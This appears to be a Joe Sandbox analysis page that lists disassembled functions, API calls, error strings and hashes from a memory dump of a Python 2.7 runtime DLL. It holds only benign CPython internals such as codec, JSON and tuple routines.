Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Type_$Err_InitModule4Module_ObjectReadyStringSubtype
String ID: Module implements the Mersenne Twister random number generator.$Random$_random
API String ID: 2860454020-3154293513
Opcode ID: a9c48a9cc6729b0c2ee76da208aed54f6df240b9a6e36f94101eef8ae5ad2cfb
Instruction ID: 37eabba67376a4248167e8479cdb5eb0706eedfb4e40c15fe9bc744e34c8b8ad
Opcode Fuzzy Hash: a9c48a9cc6729b0c2ee76da208aed54f6df240b9a6e36f94101eef8ae5ad2cfb
Instruction Fuzzy Hash: 43D05EA7F8124132F910A1607D07F7331CC9B3060CFA50860FD16B0EC6FB19E21885AB

Function 6C18B580 Relevance: 9.1, APIs: 6, Instructions: 82COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,6C18B64C,?,?,?,00000000), ref: 6C18B598
PyErr_SetExcFromWindowsErrWithFilenameObject.PYTHON27(6C2E50B8,00000000,00000000), ref: 6C18B5AF
PyString_FromStringAndSize.PYTHON27(?,00000000,?,?,?,6C18B64C,?,?,?,00000000,?,6C0A3246,?,?,00000000), ref: 6C18B5C9
PyString_Size.PYTHON27(?,?,?,?,6C18B64C,?,?,?,00000000,?,6C0A3246,?,?,00000000), ref: 6C18B5E2
_PyString_Resize.PYTHON27(?,?,?,?,?,?,6C18B64C,?,?,?,00000000,?,6C0A3246,?,?,00000000), ref: 6C18B5F1
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 6C18B619

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: String_$ByteCharFromMultiSizeWide$Err_FilenameObjectResizeStringWindowsWith
String ID:
API String ID: 3319194404-0
Opcode ID: 86a991eef1ca368b132a1981e91c9e353fdf4c231cf0ab5f35bf0ef2268b904f
Instruction ID: f995195796746b067266459cac7fbd430302a121d9edec6a72d0b7f7a51e1ddb
Opcode Fuzzy Hash: 86a991eef1ca368b132a1981e91c9e353fdf4c231cf0ab5f35bf0ef2268b904f
Instruction Fuzzy Hash: E9118171645209BBE7108AA9EC80F97376CEF8576CF144615FD18CA7C0D770DD408BA0

Function 6C0A9090 Relevance: 9.1, APIs: 6, Instructions: 76COMMON

Download Yara Rule

APIs

Part of subcall function 6C0A9030: fgetc.MSVCR90 ref: 6C0A9047

malloc.MSVCR90 ref: 6C0A90B0
PyErr_NoMemory.PYTHON27 ref: 6C0A90BF

Part of subcall function 6C1C0380: PyErr_GivenExceptionMatches.PYTHON27(00000000,6C2E67A8,?,6C177E82,00000000,6C12B1D5,?,?,?,6C12F66F,00000000,?,00000000,6C12F785,00000000), ref: 6C1C0396
Part of subcall function 6C1C0380: PyErr_SetObject.PYTHON27(6C2E67A8,?), ref: 6C1C03B3

fgetc.MSVCR90 ref: 6C0A90E7
PyString_FromStringAndSize.PYTHON27(00000000,?), ref: 6C0A90FF
free.MSVCR90 ref: 6C0A910C
free.MSVCR90 ref: 6C0A9129

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_$fgetcfree$ExceptionFromGivenMatchesMemoryObjectSizeStringString_malloc
String ID:
API String ID: 2006357968-0
Opcode ID: 6cf50d6fc6f4c0848e71c0865f2d93ba124124d0bbc4bbf0e9e1c8b6a8fbbf7e
Instruction ID: 274933620ff60aac59626ef50801ff79ed475160505c3303ff5fa745e4f2af59
Opcode Fuzzy Hash: 6cf50d6fc6f4c0848e71c0865f2d93ba124124d0bbc4bbf0e9e1c8b6a8fbbf7e
Instruction Fuzzy Hash: 4B110672700109ABCB00DBE9DC80E9BB7FCEF49278B140365EC18C7341E736A95686A1

Function 6C0B5C10 Relevance: 9.1, APIs: 6, Instructions: 56COMMON

Download Yara Rule

APIs

_PyArg_ParseTuple_SizeT.PYTHON27(?,6C1EBCB4,?,?), ref: 6C0B5C27
tolower.MSVCR90 ref: 6C0B5C49
_Py_BuildValue_SizeT.PYTHON27(6C28FB10,00000000), ref: 6C0B5C58

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Size$Arg_BuildParseTuple_Value_tolower
String ID:
API String ID: 2724438417-0
Opcode ID: e5ff71ea2d918a263ae25b5da528a3f53789d2a96c355884cfd7d7555f270acd
Instruction ID: 42e89a2f3efdc79e4e40caf8ef772ddcce0831b6e134233d47375aaadbaaf60e
Opcode Fuzzy Hash: e5ff71ea2d918a263ae25b5da528a3f53789d2a96c355884cfd7d7555f270acd
Instruction Fuzzy Hash: F401DDB5E0510C6EDE00D690AC92BFE37BCAB1560DF040ED1FC49E6F41F536A65852E2

Function 6C1B4D20 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

PyTuple_New.PYTHON27(00000001,?,?,?,?,?,6C0A1698,?,?), ref: 6C1B4D34

Part of subcall function 6C177D80: PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\tupleobject.c,00000036,00000000,6C12B1D5,?,?,?,6C12F66F,00000000,?,00000000,6C12F785,00000000), ref: 6C177DA3

PyString_FromString.PYTHON27(?,?), ref: 6C1B4D4F
PyEval_CallObjectWithKeywords.PYTHON27(?,00000000,00000000,?), ref: 6C1B4DAC
PyErr_SetString.PYTHON27(6C2E48B0,decoder must return a tuple (object,integer)), ref: 6C1B4E1D

Strings

decoder must return a tuple (object,integer), xrefs: 6C1B4E17

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_String$CallEval_FormatFromKeywordsObjectString_Tuple_With
String ID: decoder must return a tuple (object,integer)
API String ID: 2686362728-1958854746
Opcode ID: f5bfe49387484d22b4577680ef4b7502c6503b46f40ac46c6244ab4ed7be248d
Instruction ID: fbd227b8786cd8cda4c3af5e189ecdb908293bcd8ac5509957305cabdbba054d
Opcode Fuzzy Hash: f5bfe49387484d22b4577680ef4b7502c6503b46f40ac46c6244ab4ed7be248d
Instruction Fuzzy Hash: BD31D5B1A006019BD710CF65DC80A9673B4EF65338B248368ED3957B81E739ED12CF91

Function 6C1B4C00 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114COMMON

Download Yara Rule

APIs

PyTuple_New.PYTHON27(00000001,?,?,?,?,6C0A1609,?), ref: 6C1B4C13

Part of subcall function 6C177D80: PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\tupleobject.c,00000036,00000000,6C12B1D5,?,?,?,6C12F66F,00000000,?,00000000,6C12F785,00000000), ref: 6C177DA3

PyString_FromString.PYTHON27(?,?), ref: 6C1B4C2B
PyEval_CallObjectWithKeywords.PYTHON27(?,00000000,00000000,?), ref: 6C1B4C71
PyErr_SetString.PYTHON27(6C2E48B0,encoder must return a tuple (object,integer)), ref: 6C1B4CDF

Strings

encoder must return a tuple (object,integer), xrefs: 6C1B4CD9

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_String$CallEval_FormatFromKeywordsObjectString_Tuple_With
String ID: encoder must return a tuple (object,integer)
API String ID: 2686362728-3268501038
Opcode ID: cf12b4d74655e5312bc9f45bcfcf018f39299ab490f1b41752407a7a4fa2a971
Instruction ID: 92b68356362a4f6a5d3467bb20e16269aca286a69d9cc764198413828f220f49
Opcode Fuzzy Hash: cf12b4d74655e5312bc9f45bcfcf018f39299ab490f1b41752407a7a4fa2a971
Instruction Fuzzy Hash: B731C072A00A019BD700CE64DC80A9B73A4AFA5738B25C328D9695BB81D735FD57CBD1

Function 6C0AC05E Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 112COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,OO&|zi:scanstring,?,Function_0000ADC0,?,?,?), ref: 6C0AC0C9

Strings

OO&|zi:scanstring, xrefs: 6C0AC0AE
first argument must be a string, not %.80s, xrefs: 6C0AC158
utf-8, xrefs: 6C0AC0E1

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Arg_ParseTuple
String ID: OO&|zi:scanstring$first argument must be a string, not %.80s$utf-8
API String ID: 3371842430-3658668036
Opcode ID: cf94ded6a34aa6bbdede22b2775fc44d1b874416c8ba9b68aa9fb8842763c896
Instruction ID: 8dc9f2bd417e42048aca7a68b6ba6019d3fce16a32c0727be69a3c1cb929e108
Opcode Fuzzy Hash: cf94ded6a34aa6bbdede22b2775fc44d1b874416c8ba9b68aa9fb8842763c896
Instruction Fuzzy Hash: FA316FB6D00119ABDB00DFD8DC81FEAB7F8EF49318F1446C8E81897641E735AA15CBA1

Function 6C12E610 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 107COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(6C2E65C8,null argument to internal routine), ref: 6C12E631
_PySlice_FromIndices.PYTHON27(?,?), ref: 6C12E6AD

Part of subcall function 6C16C210: PyInt_FromLong.PYTHON27(?,?,?,6C12E47D,?,?), ref: 6C16C223

PyErr_Format.PYTHON27(6C2E48B0,'%.200s' object doesn't support slice assignment,?), ref: 6C12E6F2

Strings

null argument to internal routine, xrefs: 6C12E62B
'%.200s' object doesn't support slice assignment, xrefs: 6C12E6EC

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_From$FormatIndicesInt_LongSlice_String
String ID: '%.200s' object doesn't support slice assignment$null argument to internal routine
API String ID: 4144052031-3688816455
Opcode ID: dad50861adcbd35b3a61a72aa2e1fddba86c79bcaec6c85b63c0b105efddcb9d
Instruction ID: ab3bf1d61650bca7c2204f5a7c6aa4d83bb197c2a178bdf0b911133bdf0aa7e2
Opcode Fuzzy Hash: dad50861adcbd35b3a61a72aa2e1fddba86c79bcaec6c85b63c0b105efddcb9d
Instruction Fuzzy Hash: 5B31C6BA6016019BDB00CE65DC80E9673A9EF94335F154719EC2847B80D739ED96CBE0

Function 6C0A1D50 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

_PyArg_ParseTuple_SizeT.PYTHON27(?,s*|zii:utf_16_ex_decode,?,?,?,?), ref: 6C0A1D7B
PyUnicodeUCS2_DecodeUTF16Stateful.PYTHON27(?,?,?,?,?), ref: 6C0A1DB0

Strings

Oni, xrefs: 6C0A1E0C
s*|zii:utf_16_ex_decode, xrefs: 6C0A1D6C

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Arg_DecodeParseSizeStatefulTuple_Unicode
String ID: Oni$s*|zii:utf_16_ex_decode
API String ID: 227215544-2304072725
Opcode ID: 637e1aa1f400591c16218cf4eedf8289ecd94e6d882f2b4c2b919908019f3d74
Instruction ID: 0ae9bb8a1a98423aae56e5369260238c54805e16535f7ecca59cc7455f00c4e1
Opcode Fuzzy Hash: 637e1aa1f400591c16218cf4eedf8289ecd94e6d882f2b4c2b919908019f3d74
Instruction Fuzzy Hash: 263162B6A00109AF9F04DFD9DC809EEB3F9EB88214B14866DE51997641E631EE06CB91

Function 6C0A2100 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

_PyArg_ParseTuple_SizeT.PYTHON27(?,s*|zii:utf_32_ex_decode,?,?,?,?), ref: 6C0A212B
PyUnicodeUCS2_DecodeUTF32Stateful.PYTHON27(?,?,?,?,?), ref: 6C0A2160

Strings

Oni, xrefs: 6C0A21BC
s*|zii:utf_32_ex_decode, xrefs: 6C0A211C

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Arg_DecodeParseSizeStatefulTuple_Unicode
String ID: Oni$s*|zii:utf_32_ex_decode
API String ID: 227215544-3585585416
Opcode ID: d930d8c36e37ae3a236641c13942ea64e1e7ab00dec6c01dd08ab556161678b0
Instruction ID: ff0269f854e85cb4d78bb07250f164ac81c88365c148eb833571a2fc1fbfa989
Opcode Fuzzy Hash: d930d8c36e37ae3a236641c13942ea64e1e7ab00dec6c01dd08ab556161678b0
Instruction Fuzzy Hash: 553196B6E00108AF9B04DFD9DC80DEEB3F9EFC4214B14866DE91997741E6309E06CB90

Function 6C13F0C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 99COMMON

Download Yara Rule

APIs

PyObject_CheckReadBuffer.PYTHON27(?), ref: 6C13F1AC

Part of subcall function 6C13EF60: Py_FatalError.PYTHON27(non-string found in code slot,?,?,6C13F1C4), ref: 6C13EF84
Part of subcall function 6C13EF60: PyString_InternInPlace.PYTHON27(?,6C13F1C4), ref: 6C13EF8D

Part of subcall function 6C13EFA0: PyString_InternInPlace.PYTHON27(?,?,?,?,?,6C13F1E2,?), ref: 6C13EFF4

PyObject_Malloc.PYTHON27(00000048,?), ref: 6C13F1F1
PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\codeobject.c,00000070), ref: 6C13F289

Strings

%s:%d: bad argument to internal function, xrefs: 6C13F283
..\Objects\codeobject.c, xrefs: 6C13F27E

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: InternObject_PlaceString_$BufferCheckErr_ErrorFatalFormatMallocRead
String ID: %s:%d: bad argument to internal function$..\Objects\codeobject.c
API String ID: 3461592393-2661852415
Opcode ID: 526b4203281be6ee252e5659d9809ba4939e16f14d710464be415b832b8c7855
Instruction ID: 09177020e957a9f37b143df9687c0ea775d799607dc9582c88f850b7d307930f
Opcode Fuzzy Hash: 526b4203281be6ee252e5659d9809ba4939e16f14d710464be415b832b8c7855
Instruction Fuzzy Hash: 85318138702214CBEF14CE65CA40F967BA4AF1864CF11D198B82C9BB62E734EC19DB84

Function 6C13EFA0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

PyString_InternInPlace.PYTHON27(?,?,?,?,?,6C13F1E2,?), ref: 6C13EFF4

Strings

h-l, xrefs: 6C13EFD9

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: InternPlaceString_
String ID: h-l
API String ID: 3813175135-324548745
Opcode ID: 9689bd04ea83346c2bfe78a7a8af8c219e4743ae5020110731b6fd50d059c129
Instruction ID: 33c038f14b8a8c70fc4dbd4df984dfbcd3390fa8324587c40cf26c715eeea436
Opcode Fuzzy Hash: 9689bd04ea83346c2bfe78a7a8af8c219e4743ae5020110731b6fd50d059c129
Instruction Fuzzy Hash: D13192B19043214BD710CF2D984068BB7E5AF9532CF055BA9E86C87B40E779E919CBD3

Function 6C164D60 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 82COMMON

Download Yara Rule

APIs

PyList_New.PYTHON27(00000000,?,?,?,__methods__,?,6C164E9D), ref: 6C164D89
PyString_FromString.PYTHON27(?), ref: 6C164DB1
PyList_SetItem.PYTHON27(00000000,00000000,00000000), ref: 6C164DBC

Strings

__methods__, xrefs: 6C164D63

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: List_$FromItemStringString_
String ID: __methods__
API String ID: 672120553-1042264023
Opcode ID: 540a10b4cec80de26a91147e31db20624c657da4fdacc7328d52b317f42a49a2
Instruction ID: 9f934292523139991201b5fc74ad4a36a44163f5c7a93cb65875e38ab86cb1ba
Opcode Fuzzy Hash: 540a10b4cec80de26a91147e31db20624c657da4fdacc7328d52b317f42a49a2
Instruction Fuzzy Hash: 5F21F6B2F012009BE700CE6ADC90A9B73ECEF61628F1542A9DC1587B41E735DC21C6D1

Function 6C15D8F0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(6C2E63F8,long int too large to convert to int), ref: 6C15D97A
PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\longobject.c,00000173,?,00000000,?,?,?,6C1572F3,00000000,?,6C12D745,00000000,?,00000000), ref: 6C15D9A2

Strings

..\Objects\longobject.c, xrefs: 6C15D997
long int too large to convert to int, xrefs: 6C15D974
%s:%d: bad argument to internal function, xrefs: 6C15D99C

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_$FormatString
String ID: %s:%d: bad argument to internal function$..\Objects\longobject.c$long int too large to convert to int
API String ID: 4212644371-3173017773
Opcode ID: 03c668da17b3d970c4c9a27c6680448017ca41115e8299beea3d0010211ef86c
Instruction ID: 6fb5724b52b4ec0ee33e927cb18c21d4da49eba3ad9f550cb3e1b3346b09e552
Opcode Fuzzy Hash: 03c668da17b3d970c4c9a27c6680448017ca41115e8299beea3d0010211ef86c
Instruction Fuzzy Hash: 59113BF670510506C71499AEA980AA5F354E7C5339FA4476EFE3CC7AC1E922C4A6C3C0

Function 6C0A7410 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

PyArg_UnpackTuple.PYTHON27(?,6C1EAF8E,00000001,00000002,?,?), ref: 6C0A7432

Part of subcall function 6C1C5D90: PyString_FromString.PYTHON27(PyArg_UnpackTuple() argument list is not a tuple), ref: 6C1C5DB2
Part of subcall function 6C1C5D90: PyErr_SetObject.PYTHON27(6C2E65C8,00000000,PyArg_UnpackTuple() argument list is not a tuple), ref: 6C1C5DBB

PyType_IsSubtype.PYTHON27(6C2DE208,?), ref: 6C0A7453
PyErr_SetString.PYTHON27(6C2E48B0,dialect name must be a string or unicode), ref: 6C0A746B
PyDict_SetItem.PYTHON27(00000000,?,00000000), ref: 6C0A749B

Strings

dialect name must be a string or unicode, xrefs: 6C0A7465

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
